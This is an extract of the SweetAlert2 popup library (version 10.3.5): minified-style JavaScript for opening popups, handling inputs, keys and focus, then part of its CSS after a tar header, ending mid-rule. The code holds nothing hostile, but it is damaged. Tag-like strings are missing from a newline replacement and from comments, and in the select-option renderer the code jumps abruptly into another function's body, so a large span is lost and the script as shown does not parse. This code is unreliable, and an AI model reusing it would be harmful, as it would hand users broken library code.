will be actually used in renderPopup.js // but in case when params.animation is a function, we need to call that function // before popup (re)initialization, so it'll be possible to check Swal.isVisible() // inside the params.animation function params.animation = callIfFunction(params.animation); validateCustomTargetElement(params); // Replace newlines with
      in title if (typeof params.title === 'string') { params.title = params.title.split('\n').join('
      '); } init(params); } var SHOW_CLASS_TIMEOUT = 10; /** * Open popup, add necessary classes and styles, fix scrollbar * * @param params */ var openPopup = function openPopup(params) { var container = getContainer(); var popup = getPopup(); if (typeof params.willOpen === 'function') { params.willOpen(popup); } else if (typeof params.onBeforeOpen === 'function') { params.onBeforeOpen(popup); // @deprecated } var bodyStyles = window.getComputedStyle(document.body); var initialBodyOverflow = bodyStyles.overflowY; addClasses$1(container, popup, params); // scrolling is 'hidden' until animation is done, after that 'auto' setTimeout(function () { setScrollingVisibility(container, popup); }, SHOW_CLASS_TIMEOUT); if (isModal()) { fixScrollContainer(container, params.scrollbarPadding, initialBodyOverflow); setAriaHidden(); } if (!isToast() && !globalState.previousActiveElement) { globalState.previousActiveElement = document.activeElement; } runDidOpen(popup, params); removeClass(container, swalClasses['no-transition']); }; var runDidOpen = function runDidOpen(popup, params) { if (typeof params.didOpen === 'function') { setTimeout(function () { return params.didOpen(popup); }); } else if (typeof params.onOpen === 'function') { setTimeout(function () { return params.onOpen(popup); }); // @deprecated } }; var swalOpenAnimationFinished = function swalOpenAnimationFinished(event) { var popup = getPopup(); if (event.target !== popup) { return; } var container = getContainer(); popup.removeEventListener(animationEndEvent, swalOpenAnimationFinished); container.style.overflowY = 'auto'; }; var setScrollingVisibility = function setScrollingVisibility(container, popup) { if (animationEndEvent && hasCssAnimation(popup)) { container.style.overflowY = 'hidden'; popup.addEventListener(animationEndEvent, swalOpenAnimationFinished); } else { container.style.overflowY = 'auto'; } }; var fixScrollContainer = function fixScrollContainer(container, scrollbarPadding, initialBodyOverflow) { iOSfix(); IEfix(); if (scrollbarPadding && initialBodyOverflow !== 'hidden') { fixScrollbar(); } // sweetalert2/issues/1247 setTimeout(function () { container.scrollTop = 0; }); }; var addClasses$1 = function addClasses(container, popup, params) { addClass(container, params.showClass.backdrop); // the workaround with setting/unsetting opacity is needed for #2019 and 2059 popup.style.setProperty('opacity', '0', 'important'); show(popup); setTimeout(function () { // Animate popup right after showing it addClass(popup, params.showClass.popup); // and remove the opacity workaround popup.style.removeProperty('opacity'); }, SHOW_CLASS_TIMEOUT); // 10ms in order to fix #2062 addClass([document.documentElement, document.body], swalClasses.shown); if (params.heightAuto && params.backdrop && !params.toast) { addClass([document.documentElement, document.body], swalClasses['height-auto']); } }; var handleInputOptionsAndValue = function handleInputOptionsAndValue(instance, params) { if (params.input === 'select' || params.input === 'radio') { handleInputOptions(instance, params); } else if (['text', 'email', 'number', 'tel', 'textarea'].indexOf(params.input) !== -1 && (hasToPromiseFn(params.inputValue) || isPromise(params.inputValue))) { handleInputValue(instance, params); } }; var getInputValue = function getInputValue(instance, innerParams) { var input = instance.getInput(); if (!input) { return null; } switch (innerParams.input) { case 'checkbox': return getCheckboxValue(input); case 'radio': return getRadioValue(input); case 'file': return getFileValue(input); default: return innerParams.inputAutoTrim ? input.value.trim() : input.value; } }; var getCheckboxValue = function getCheckboxValue(input) { return input.checked ? 1 : 0; }; var getRadioValue = function getRadioValue(input) { return input.checked ? input.value : null; }; var getFileValue = function getFileValue(input) { return input.files.length ? input.getAttribute('multiple') !== null ? input.files : input.files[0] : null; }; var handleInputOptions = function handleInputOptions(instance, params) { var content = getContent(); var processInputOptions = function processInputOptions(inputOptions) { return populateInputOptions[params.input](content, formatInputOptions(inputOptions), params); }; if (hasToPromiseFn(params.inputOptions) || isPromise(params.inputOptions)) { showLoading(); asPromise(params.inputOptions).then(function (inputOptions) { instance.hideLoading(); processInputOptions(inputOptions); }); } else if (_typeof(params.inputOptions) === 'object') { processInputOptions(params.inputOptions); } else { error("Unexpected type of inputOptions! Expected object, Map or Promise, got ".concat(_typeof(params.inputOptions))); } }; var handleInputValue = function handleInputValue(instance, params) { var input = instance.getInput(); hide(input); asPromise(params.inputValue).then(function (inputValue) { input.value = params.input === 'number' ? parseFloat(inputValue) || 0 : "".concat(inputValue); show(input); input.focus(); instance.hideLoading(); })["catch"](function (err) { error("Error in inputValue promise: ".concat(err)); input.value = ''; show(input); input.focus(); instance.hideLoading(); }); }; var populateInputOptions = { select: function select(content, inputOptions, params) { var select = getChildByClass(content, swalClasses.select); var renderOption = function renderOption(parent, optionLabel, optionValue) { var option = document.createElement('option'); option.value = optionValue; setInnerHtml(option, optionLabel); if (params.inputValue.toString() === optionValue.toString()) { option.selected = true; } parent.appendChild(option); }; inputOptions.forEach(function (inputOption) { var optionValue = inputOption[0]; var optionLabel = inputOption[1]; // spec: // https://www.w3.org/TR/html401/interact/forms.html#h-17.6 // "...all OPTGROUP elements must be specified directly within a SELECT element (i.e., groups may not be nested)..." // check whether this is a if (Array.isArray(optionLabel)) { // if it is an array, then it is an var optgroup = document.createElement('optgroup'); optgroup.label = optionValue; optgroup.disabled = false; // not configurable for now select.appendChild(optgroup); optionLabel.forEach(function (o) { return renderOption(optgroup, o[1], o[0]); }); } else { // case of valueFormatted = formatInputOptions(valueFormatted); } result.push([key, valueFormatted]); }); } else { Object.keys(inputOptions).forEach(function (key) { var valueFormatted = inputOptions[key]; if (_typeof(valueFormatted) === 'object') { // case of valueFormatted = formatInputOptions(valueFormatted); } result.push([key, valueFormatted]); }); } return result; }; var handleConfirmButtonClick = function handleConfirmButtonClick(instance, innerParams) { instance.disableButtons(); if (innerParams.input) { handleConfirmWithInput(instance, innerParams); } else { confirm(instance, innerParams, true); } }; var handleDenyButtonClick = function handleDenyButtonClick(instance) { instance.disableButtons(); // here we could add preDeny in future, if needed deny(instance); }; var handleCancelButtonClick = function handleCancelButtonClick(instance, dismissWith) { instance.disableButtons(); dismissWith(DismissReason.cancel); }; var handleConfirmWithInput = function handleConfirmWithInput(instance, innerParams) { var inputValue = getInputValue(instance, innerParams); if (innerParams.inputValidator) { instance.disableInput(); var validationPromise = Promise.resolve().then(function () { return asPromise(innerParams.inputValidator(inputValue, innerParams.validationMessage)); }); validationPromise.then(function (validationMessage) { instance.enableButtons(); instance.enableInput(); if (validationMessage) { instance.showValidationMessage(validationMessage); } else { confirm(instance, innerParams, inputValue); } }); } else if (!instance.getInput().checkValidity()) { instance.enableButtons(); instance.showValidationMessage(innerParams.validationMessage); } else { confirm(instance, innerParams, inputValue); } }; var deny = function deny(instance) { instance.closePopup({ isDenied: true, value: false }); }; var succeedWith = function succeedWith(instance, value) { instance.closePopup({ isConfirmed: true, value: value }); }; var confirm = function confirm(instance, innerParams, value) { if (innerParams.showLoaderOnConfirm) { showLoading(); // TODO: make showLoading an *instance* method } if (innerParams.preConfirm) { instance.resetValidationMessage(); var preConfirmPromise = Promise.resolve().then(function () { return asPromise(innerParams.preConfirm(value, innerParams.validationMessage)); }); preConfirmPromise.then(function (preConfirmValue) { if (isVisible(getValidationMessage()) || preConfirmValue === false) { instance.hideLoading(); } else { succeedWith(instance, typeof preConfirmValue === 'undefined' ? value : preConfirmValue); } }); } else { succeedWith(instance, value); } }; var addKeydownHandler = function addKeydownHandler(instance, globalState, innerParams, dismissWith) { if (globalState.keydownTarget && globalState.keydownHandlerAdded) { globalState.keydownTarget.removeEventListener('keydown', globalState.keydownHandler, { capture: globalState.keydownListenerCapture }); globalState.keydownHandlerAdded = false; } if (!innerParams.toast) { globalState.keydownHandler = function (e) { return keydownHandler(instance, e, dismissWith); }; globalState.keydownTarget = innerParams.keydownListenerCapture ? window : getPopup(); globalState.keydownListenerCapture = innerParams.keydownListenerCapture; globalState.keydownTarget.addEventListener('keydown', globalState.keydownHandler, { capture: globalState.keydownListenerCapture }); globalState.keydownHandlerAdded = true; } }; // Focus handling var setFocus = function setFocus(innerParams, index, increment) { var focusableElements = getFocusableElements(); // search for visible elements and select the next possible match for (var i = 0; i < focusableElements.length; i++) { index = index + increment; // rollover to first item if (index === focusableElements.length) { index = 0; // go to last item } else if (index === -1) { index = focusableElements.length - 1; } return focusableElements[index].focus(); } // no visible focusable elements, focus the popup getPopup().focus(); }; var arrowKeysNextButton = ['ArrowRight', 'ArrowDown', 'Right', 'Down' // IE11 ]; var arrowKeysPreviousButton = ['ArrowLeft', 'ArrowUp', 'Left', 'Up' // IE11 ]; var escKeys = ['Escape', 'Esc' // IE11 ]; var keydownHandler = function keydownHandler(instance, e, dismissWith) { var innerParams = privateProps.innerParams.get(instance); if (innerParams.stopKeydownPropagation) { e.stopPropagation(); } // ENTER if (e.key === 'Enter') { handleEnter(instance, e, innerParams); // TAB } else if (e.key === 'Tab') { handleTab(e, innerParams); // ARROWS - switch focus between buttons } else if ([].concat(arrowKeysNextButton, arrowKeysPreviousButton).indexOf(e.key) !== -1) { handleArrows(e.key); // ESC } else if (escKeys.indexOf(e.key) !== -1) { handleEsc(e, innerParams, dismissWith); } }; var handleEnter = function handleEnter(instance, e, innerParams) { // #720 #721 if (e.isComposing) { return; } if (e.target && instance.getInput() && e.target.outerHTML === instance.getInput().outerHTML) { if (['textarea', 'file'].indexOf(innerParams.input) !== -1) { return; // do not submit } clickConfirm(); e.preventDefault(); } }; var handleTab = function handleTab(e, innerParams) { var targetElement = e.target; var focusableElements = getFocusableElements(); var btnIndex = -1; for (var i = 0; i < focusableElements.length; i++) { if (targetElement === focusableElements[i]) { btnIndex = i; break; } } if (!e.shiftKey) { // Cycle to the next button setFocus(innerParams, btnIndex, 1); } else { // Cycle to the prev button setFocus(innerParams, btnIndex, -1); } e.stopPropagation(); e.preventDefault(); }; var handleArrows = function handleArrows(key) { var confirmButton = getConfirmButton(); var denyButton = getDenyButton(); var cancelButton = getCancelButton(); if (!([confirmButton, denyButton, cancelButton].indexOf(document.activeElement) !== -1)) { return; } var sibling = arrowKeysNextButton.indexOf(key) !== -1 ? 'nextElementSibling' : 'previousElementSibling'; var buttonToFocus = document.activeElement[sibling]; if (buttonToFocus) { buttonToFocus.focus(); } }; var handleEsc = function handleEsc(e, innerParams, dismissWith) { if (callIfFunction(innerParams.allowEscapeKey)) { e.preventDefault(); dismissWith(DismissReason.esc); } }; var handlePopupClick = function handlePopupClick(instance, domCache, dismissWith) { var innerParams = privateProps.innerParams.get(instance); if (innerParams.toast) { handleToastClick(instance, domCache, dismissWith); } else { // Ignore click events that had mousedown on the popup but mouseup on the container // This can happen when the user drags a slider handleModalMousedown(domCache); // Ignore click events that had mousedown on the container but mouseup on the popup handleContainerMousedown(domCache); handleModalClick(instance, domCache, dismissWith); } }; var handleToastClick = function handleToastClick(instance, domCache, dismissWith) { // Closing toast by internal click domCache.popup.onclick = function () { var innerParams = privateProps.innerParams.get(instance); if (innerParams.showConfirmButton || innerParams.showDenyButton || innerParams.showCancelButton || innerParams.showCloseButton || innerParams.input) { return; } dismissWith(DismissReason.close); }; }; var ignoreOutsideClick = false; var handleModalMousedown = function handleModalMousedown(domCache) { domCache.popup.onmousedown = function () { domCache.container.onmouseup = function (e) { domCache.container.onmouseup = undefined; // We only check if the mouseup target is the container because usually it doesn't // have any other direct children aside of the popup if (e.target === domCache.container) { ignoreOutsideClick = true; } }; }; }; var handleContainerMousedown = function handleContainerMousedown(domCache) { domCache.container.onmousedown = function () { domCache.popup.onmouseup = function (e) { domCache.popup.onmouseup = undefined; // We also need to check if the mouseup target is a child of the popup if (e.target === domCache.popup || domCache.popup.contains(e.target)) { ignoreOutsideClick = true; } }; }; }; var handleModalClick = function handleModalClick(instance, domCache, dismissWith) { domCache.container.onclick = function (e) { var innerParams = privateProps.innerParams.get(instance); if (ignoreOutsideClick) { ignoreOutsideClick = false; return; } if (e.target === domCache.container && callIfFunction(innerParams.allowOutsideClick)) { dismissWith(DismissReason.backdrop); } }; }; function _main(userParams) { showWarningsForParams(userParams); if (globalState.currentInstance) { globalState.currentInstance._destroy(); } globalState.currentInstance = this; var innerParams = prepareParams(userParams); setParameters(innerParams); Object.freeze(innerParams); // clear the previous timer if (globalState.timeout) { globalState.timeout.stop(); delete globalState.timeout; } // clear the restore focus timeout clearTimeout(globalState.restoreFocusTimeout); var domCache = populateDomCache(this); render(this, innerParams); privateProps.innerParams.set(this, innerParams); return swalPromise(this, domCache, innerParams); } var prepareParams = function prepareParams(userParams) { var showClass = _extends({}, defaultParams.showClass, userParams.showClass); var hideClass = _extends({}, defaultParams.hideClass, userParams.hideClass); var params = _extends({}, defaultParams, userParams); params.showClass = showClass; params.hideClass = hideClass; // @deprecated if (userParams.animation === false) { params.showClass = { popup: 'swal2-noanimation', backdrop: 'swal2-noanimation' }; params.hideClass = {}; } return params; }; var swalPromise = function swalPromise(instance, domCache, innerParams) { return new Promise(function (resolve) { // functions to handle all closings/dismissals var dismissWith = function dismissWith(dismiss) { instance.closePopup({ isDismissed: true, dismiss: dismiss }); }; privateMethods.swalPromiseResolve.set(instance, resolve); domCache.confirmButton.onclick = function () { return handleConfirmButtonClick(instance, innerParams); }; domCache.denyButton.onclick = function () { return handleDenyButtonClick(instance); }; domCache.cancelButton.onclick = function () { return handleCancelButtonClick(instance, dismissWith); }; domCache.closeButton.onclick = function () { return dismissWith(DismissReason.close); }; handlePopupClick(instance, domCache, dismissWith); addKeydownHandler(instance, globalState, innerParams, dismissWith); if (innerParams.toast && (innerParams.input || innerParams.footer || innerParams.showCloseButton)) { addClass(document.body, swalClasses['toast-column']); } else { removeClass(document.body, swalClasses['toast-column']); } handleInputOptionsAndValue(instance, innerParams); openPopup(innerParams); setupTimer(globalState, innerParams, dismissWith); initFocus(domCache, innerParams); // Scroll container to top on open (#1247, #1946) setTimeout(function () { domCache.container.scrollTop = 0; }); }); }; var populateDomCache = function populateDomCache(instance) { var domCache = { popup: getPopup(), container: getContainer(), content: getContent(), actions: getActions(), confirmButton: getConfirmButton(), denyButton: getDenyButton(), cancelButton: getCancelButton(), loader: getLoader(), closeButton: getCloseButton(), validationMessage: getValidationMessage(), progressSteps: getProgressSteps() }; privateProps.domCache.set(instance, domCache); return domCache; }; var setupTimer = function setupTimer(globalState$$1, innerParams, dismissWith) { var timerProgressBar = getTimerProgressBar(); hide(timerProgressBar); if (innerParams.timer) { globalState$$1.timeout = new Timer(function () { dismissWith('timer'); delete globalState$$1.timeout; }, innerParams.timer); if (innerParams.timerProgressBar) { show(timerProgressBar); setTimeout(function () { if (globalState$$1.timeout.running) { // timer can be already stopped at this point animateTimerProgressBar(innerParams.timer); } }); } } }; var initFocus = function initFocus(domCache, innerParams) { if (innerParams.toast) { return; } if (!callIfFunction(innerParams.allowEnterKey)) { return blurActiveElement(); } if (!focusButton(domCache, innerParams)) { setFocus(innerParams, -1, 1); } }; var focusButton = function focusButton(domCache, innerParams) { if (innerParams.focusDeny && isVisible(domCache.denyButton)) { domCache.denyButton.focus(); return true; } if (innerParams.focusCancel && isVisible(domCache.cancelButton)) { domCache.cancelButton.focus(); return true; } if (innerParams.focusConfirm && isVisible(domCache.confirmButton)) { domCache.confirmButton.focus(); return true; } return false; }; var blurActiveElement = function blurActiveElement() { if (document.activeElement && typeof document.activeElement.blur === 'function') { document.activeElement.blur(); } }; /** * Updates popup parameters. */ function update(params) { var popup = getPopup(); var innerParams = privateProps.innerParams.get(this); if (!popup || hasClass(popup, innerParams.hideClass.popup)) { return warn("You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup."); } var validUpdatableParams = {}; // assign valid params from `params` to `defaults` Object.keys(params).forEach(function (param) { if (Swal.isUpdatableParameter(param)) { validUpdatableParams[param] = params[param]; } else { warn("Invalid parameter to update: \"".concat(param, "\". Updatable params are listed here: https://github.com/sweetalert2/sweetalert2/blob/master/src/utils/params.js\n\nIf you think this parameter should be updatable, request it here: https://github.com/sweetalert2/sweetalert2/issues/new?template=02_feature_request.md")); } }); var updatedParams = _extends({}, innerParams, validUpdatableParams); render(this, updatedParams); privateProps.innerParams.set(this, updatedParams); Object.defineProperties(this, { params: { value: _extends({}, this.params, params), writable: false, enumerable: true } }); } function _destroy() { var domCache = privateProps.domCache.get(this); var innerParams = privateProps.innerParams.get(this); if (!innerParams) { return; // This instance has already been destroyed } // Check if there is another Swal closing if (domCache.popup && globalState.swalCloseEventFinishedCallback) { globalState.swalCloseEventFinishedCallback(); delete globalState.swalCloseEventFinishedCallback; } // Check if there is a swal disposal defer timer if (globalState.deferDisposalTimer) { clearTimeout(globalState.deferDisposalTimer); delete globalState.deferDisposalTimer; } runDidDestroy(innerParams); disposeSwal(this); } var runDidDestroy = function runDidDestroy(innerParams) { if (typeof innerParams.didDestroy === 'function') { innerParams.didDestroy(); } else if (typeof innerParams.onDestroy === 'function') { innerParams.onDestroy(); // @deprecated } }; var disposeSwal = function disposeSwal(instance) { // Unset this.params so GC will dispose it (#1569) delete instance.params; // Unset globalState props so GC will dispose globalState (#1569) delete globalState.keydownHandler; delete globalState.keydownTarget; // Unset WeakMaps so GC will be able to dispose them (#1569) unsetWeakMaps(privateProps); unsetWeakMaps(privateMethods); }; var unsetWeakMaps = function unsetWeakMaps(obj) { for (var i in obj) { obj[i] = new WeakMap(); } }; var instanceMethods = /*#__PURE__*/Object.freeze({ hideLoading: hideLoading, disableLoading: hideLoading, getInput: getInput$1, close: close, closePopup: close, closeModal: close, closeToast: close, enableButtons: enableButtons, disableButtons: disableButtons, enableInput: enableInput, disableInput: disableInput, showValidationMessage: showValidationMessage, resetValidationMessage: resetValidationMessage$1, getProgressSteps: getProgressSteps$1, _main: _main, update: update, _destroy: _destroy }); var currentInstance; var SweetAlert = /*#__PURE__*/function () { function SweetAlert() { _classCallCheck(this, SweetAlert); // Prevent run in Node env if (typeof window === 'undefined') { return; } // Check for the existence of Promise if (typeof Promise === 'undefined') { error('This package requires a Promise library, please include a shim to enable it in this browser (See: https://github.com/sweetalert2/sweetalert2/wiki/Migration-from-SweetAlert-to-SweetAlert2#1-ie-support)'); } currentInstance = this; for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } var outerParams = Object.freeze(this.constructor.argsToParams(args)); Object.defineProperties(this, { params: { value: outerParams, writable: false, enumerable: true, configurable: true } }); var promise = this._main(this.params); privateProps.promise.set(this, promise); } // `catch` cannot be the name of a module export, so we define our thenable methods here instead _createClass(SweetAlert, [{ key: "then", value: function then(onFulfilled) { var promise = privateProps.promise.get(this); return promise.then(onFulfilled); } }, { key: "finally", value: function _finally(onFinally) { var promise = privateProps.promise.get(this); return promise["finally"](onFinally); } }]); return SweetAlert; }(); // Assign instance methods from src/instanceMethods/*.js to prototype _extends(SweetAlert.prototype, instanceMethods); // Assign static methods from src/staticMethods/*.js to constructor _extends(SweetAlert, staticMethods); // Proxy to instance methods to constructor, for now, for backwards compatibility Object.keys(instanceMethods).forEach(function (key) { SweetAlert[key] = function () { if (currentInstance) { var _currentInstance; return (_currentInstance = currentInstance)[key].apply(_currentInstance, arguments); } }; }); SweetAlert.DismissReason = DismissReason; SweetAlert.version = '10.3.5'; var Swal = SweetAlert; Swal["default"] = Swal; return Swal; })); if (typeof this !== 'undefined' && this.Sweetalert2){ this.swal = this.sweetAlert = this.Swal = this.SweetAlert = this.Sweetalert2} sweetalert2.css000064400000072127151735567630007552 0ustar00.swal2-popup.swal2-toast { flex-direction: row; align-items: center; width: auto; padding: 0.625em; overflow-y: hidden; background: #fff; box-shadow: 0 0 0.625em #d9d9d9; } .swal2-popup.swal2-toast .swal2-header { flex-direction: row; padding: 0; } .swal2-popup.swal2-toast .swal2-title { flex-grow: 1; justify-content: flex-start; margin: 0 0.6em; font-size: 1em; } .swal2-popup.swal2-toast .swal2-footer { margin: 0.5em 0 0; padding: 0.5em 0 0; font-size: 0.8em; } .swal2-popup.swal2-toast .swal2-close { position: static; width: 0.8em; height: 0.8em; line-height: 0.8; } .swal2-popup.swal2-toast .swal2-content { justify-content: flex-start; padding: 0; font-size: 1em; } .swal2-popup.swal2-toast .swal2-icon { width: 2em; min-width: 2em; height: 2em; margin: 0; } .swal2-popup.swal2-toast .swal2-icon .swal2-icon-content { display: flex; align-items: center; font-size: 1.8em; font-weight: bold; } @media all and (-ms-high-contrast: none), (-ms-high-contrast: active) { .swal2-popup.swal2-toast .swal2-icon .swal2-icon-content { font-size: 0.25em; } } .swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring { width: 2em; height: 2em; } .swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line] { top: 0.875em; width: 1.375em; } .swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left] { left: 0.3125em; } .swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right] { right: 0.3125em; } .swal2-popup.swal2-toast .swal2-actions { flex-basis: auto !important; width: auto; height: auto; margin: 0 0.3125em; padding: 0; } .swal2-popup.swal2-toast .swal2-styled { margin: 0 0.3125em; padding: 0.3125em 0.625em; font-size: 1em; } .swal2-popup.swal2-toast .swal2-styled:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px rgba(50, 100, 150, 0.4); } .swal2-popup.swal2-toast .swal2-success { border-color: #a5dc86; } .swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line] { position: absolute; width: 1.6em; height: 3em; transform: rotate(45deg); border-radius: 50%; } .swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left] { top: -0.8em; left: -0.5em; transform: rotate(-45deg); transform-origin: 2em 2em; border-radius: 4em 0 0 4em; } .swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right] { top: -0.25em; left: 0.9375em; transform-origin: 0 1.5em; border-radius: 0 4em 4em 0; } .swal2-popup.swal2-toast .swal2-success .swal2-success-ring { width: 2em; height: 2em; } .swal2-popup.swal2-toast .swal2-success .swal2-success-fix { top: 0; left: 0.4375em; width: 0.4375em; height: 2.6875em; } .swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line] { height: 0.3125em; } .swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip] { top: 1.125em; left: 0.1875em; width: 0.75em; } .swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long] { top: 0.9375em; right: 0.1875em; width: 1.375em; } .swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip { -webkit-animation: swal2-toast-animate-success-line-tip 0.75s; animation: swal2-toast-animate-success-line-tip 0.75s; } .swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long { -webkit-animation: swal2-toast-animate-success-line-long 0.75s; animation: swal2-toast-animate-success-line-long 0.75s; } .swal2-popup.swal2-toast.swal2-show { -webkit-animation: swal2-toast-show 0.5s; animation: swal2-toast-show 0.5s; } .swal2-popup.swal2-toast.swal2-hide { -webkit-animation: swal2-toast-hide 0.1s forwards; animation: swal2-toast-hide 0.1s forwards; } .swal2-container { display: flex; position: fixed; z-index: 1060; top: 0; right: 0; bottom: 0; left: 0; flex-direction: row; align-items: center; justify-content: center; padding: 0.625em; overflow-x: hidden; transition: background-color 0.1s; -webkit-overflow-scrolling: touch; } .swal2-container.swal2-backdrop-show, .swal2-container.swal2-noanimation { background: rgba(0, 0, 0, 0.4); } .swal2-container.swal2-backdrop-hide { background: transparent !important; } .swal2-container.swal2-top { align-items: flex-start; } .swal2-container.swal2-top-start, .swal2-container.swal2-top-left { align-items: flex-start; justify-content: flex-start; } .swal2-container.swal2-top-end, .swal2-container.swal2-top-right { align-items: flex-start; justify-content: flex-end; } .swal2-container.swal2-center { align-items: center; } .swal2-container.swal2-center-start, .swal2-container.swal2-center-left { align-items: center; justify-content: flex-start; } .swal2-container.swal2-center-end, .swal2-container.swal2-center-right { align-items: center; justify-content: flex-end; } .swal2-container.swal2-bottom { align-items: flex-end; } .swal2-container.swal2-bottom-start, .swal2-container.swal2-bottom-left { align-items: flex-end; justify-content: flex-start; } .swal2-container.swal2-bottom-end, .swal2-container.swal2-bottom-right { align-items: flex-end; justify-content: flex-end; } .swal2-container.swal2-bottom > :first-child, .swal2-container.swal2-bottom-start > :first-child, .swal2-container.swal2-bottom-left > :first-child, .swal2-container.swal2-bottom-end > :first-child, .swal2-container.swal2-bottom-right > :first-child { margin-top: auto; } .swal2-container.swal2-grow-fullscreen > .swal2-modal { display: flex !important; flex: 1; align-self: stretch; justify-content: center; } .swal2-container.swal2-grow-row > .swal2-modal { display: flex !important; flex: 1; align-content: center; justify-content: center; } .swal2-container.swal2-grow-column { flex: 1; flex-direction: column; } .swal2-container.swal2-grow-column.swal2-top, .swal2-container.swal2-grow-column.swal2-center, .swal2-container.swal2-grow-column.swal2-bottom { align-items: center; } .swal2-container.swal2-grow-column.swal2-top-start, .swal2-container.swal2-grow-column.swal2-center-start, .swal2-container.swal2-grow-column.swal2-bottom-start, .swal2-container.swal2-grow-column.swal2-top-left, .swal2-container.swal2-grow-column.swal2-center-left, .swal2-container.swal2-grow-column.swal2-bottom-left { align-items: flex-start; } .swal2-container.swal2-grow-column.swal2-top-end, .swal2-container.swal2-grow-column.swal2-center-end, .swal2-container.swal2-grow-column.swal2-bottom-end, .swal2-container.swal2-grow-column.swal2-top-right, .swal2-container.swal2-grow-column.swal2-center-right, .swal2-container.swal2-grow-column.swal2-bottom-right { align-items: flex-end; } .swal2-container.swal2-grow-column > .swal2-modal { display: flex !important; flex: 1; align-content: center; justify-content: center; } .swal2-container.swal2-no-transition { transition: none !important; } .swal2-container:not(.swal2-top):not(.swal2-top-start):not(.swal2-top-end):not(.swal2-top-left):not(.swal2-top-right):not(.swal2-center-start):not(.swal2-center-end):not(.swal2-center-left):not(.swal2-center-right):not(.swal2-bottom):not(.swal2-bottom-start):not(.swal2-bottom-end):not(.swal2-bottom-left):not(.swal2-bottom-right):not(.swal2-grow-fullscreen) > .swal2-modal { margin: auto; } @media all and (-ms-high-contrast: none), (-ms-high-contrast: active) { .swal2-container .swal2-modal { margin: 0 !important; } } .swal2-popup { display: none; position: relative; box-sizing: border-box; flex-direction: column; justify-content: center; width: 32em; max-width: 100%; padding: 1.25em; border: none; border-radius: 0.3125em; background: #fff; font-family: inherit; font-size: 1rem; } .swal2-popup:focus { outline: none; } .swal2-popup.swal2-loading { overflow-y: hidden; } .swal2-header { display: flex; flex-direction: column; align-items: center; padding: 0 1.8em; } .swal2-title { position: relative; max-width: 100%; margin: 0 0 0.4em; padding: 0; color: #595959; font-size: 1.875em; font-weight: 600; text-align: center; text-transform: none; word-wrap: break-word; } .swal2-actions { display: flex; z-index: 1; box-sizing: border-box; flex-wrap: wrap; align-items: center; justify-content: center; width: 100%; margin: 1.25em auto 0; padding: 0 1.6em; } .swal2-actions:not(.swal2-loading) .swal2-styled[disabled] { opacity: 0.4; } .swal2-actions:not(.swal2-loading) .swal2-styled:hover { background-image: linear-gradient(rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.1)); } .swal2-actions:not(.swal2-loading) .swal2-styled:active { background-image: linear-gradient(rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2)); } .swal2-loader { display: none; align-items: center; justify-content: center; width: 2.2em; height: 2.2em; margin: 0 1.875em; -webkit-animation: swal2-rotate-loading 1.5s linear 0s infinite normal; animation: swal2-rotate-loading 1.5s linear 0s infinite normal; border-width: 0.25em; border-style: solid; border-radius: 100%; border-color: #3085d6 transparent #3085d6 transparent; } .swal2-styled { margin: 0.3125em; padding: 0.625em 2em; box-shadow: none; font-weight: 500; } .swal2-styled:not([disabled]) { cursor: pointer; } .swal2-styled.swal2-confirm { border: 0; border-radius: 0.25em; background: initial; background-color: #3085d6; color: #fff; font-size: 1.0625em; } .swal2-styled.swal2-deny { border: 0; border-radius: 0.25em; background: initial; background-color: #dd6b55; color: #fff; font-size: 1.0625em; } .swal2-styled.swal2-cancel { border: 0; border-radius: 0.25em; background: initial; background-color: #aaa; color: #fff; font-size: 1.0625em; } .swal2-styled:focus { outline: none; box-shadow: 0 0 0 1px #fff, 0 0 0 3px rgba(50, 100, 150, 0.4); } .swal2-styled::-moz-focus-inner { border: 0; } .swal2-footer { justify-content: center; margin: 1.25em 0 0; padding: 1em 0 0; border-top: 1px solid #eee; color: #545454; font-size: 1em; } .swal2-timer-progress-bar-container { position: absolute; right: 0; bottom: 0; left: 0; height: 0.25em; overflow: hidden; border-bottom-right-radius: 0.3125em; border-bottom-left-radius: 0.3125em; } .swal2-timer-progress-bar { width: 100%; height: 0.25em; background: rgba(0, 0, 0, 0.2); } .swal2-image { max-width: 100%; margin: 1.25em auto; } .swal2-close { position: absolute; z-index: 2; top: 0; right: 0; align-items: center; justify-content: center; width: 1.2em; height: 1.2em; padding: 0; overflow: hidden; transition: color 0.1s ease-out; border: none; border-radius: 0; background: transparent; color: #cccccc; font-family: serif; font-size: 2.5em; line-height: 1.2; cursor: pointer; } .swal2-close:hover { transform: none; background: transparent; color: #f27474; } .swal2-close::-moz-focus-inner { border: 0; } .swal2-content { z-index: 1; justify-content: center; margin: 0; padding: 0 1.6em; color: #545454; font-size: 1.125em; font-weight: normal; line-height: normal; text-align: center; word-wrap: break-word; } .swal2-input, .swal2-file, .swal2-textarea, .swal2-select, .swal2-radio, .swal2-checkbox { margin: 1em auto; } .swal2-input, .swal2-file, .swal2-textarea { box-sizing: border-box; width: 100%; transition: border-color 0.3s, box-shadow 0.3s; border: 1px solid #d9d9d9; border-radius: 0.1875em; background: inherit; box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.06); color: inherit; font-size: 1.125em; } .swal2-input.swal2-inputerror, .swal2-file.swal2-inputerror, .swal2-textarea.swal2-inputerror { border-color: #f27474 !important; box-shadow: 0 0 2px #f27474 !important; } .swal2-input:focus, .swal2-file:focus, .swal2-textarea:focus { border: 1px solid #b4dbed; outline: 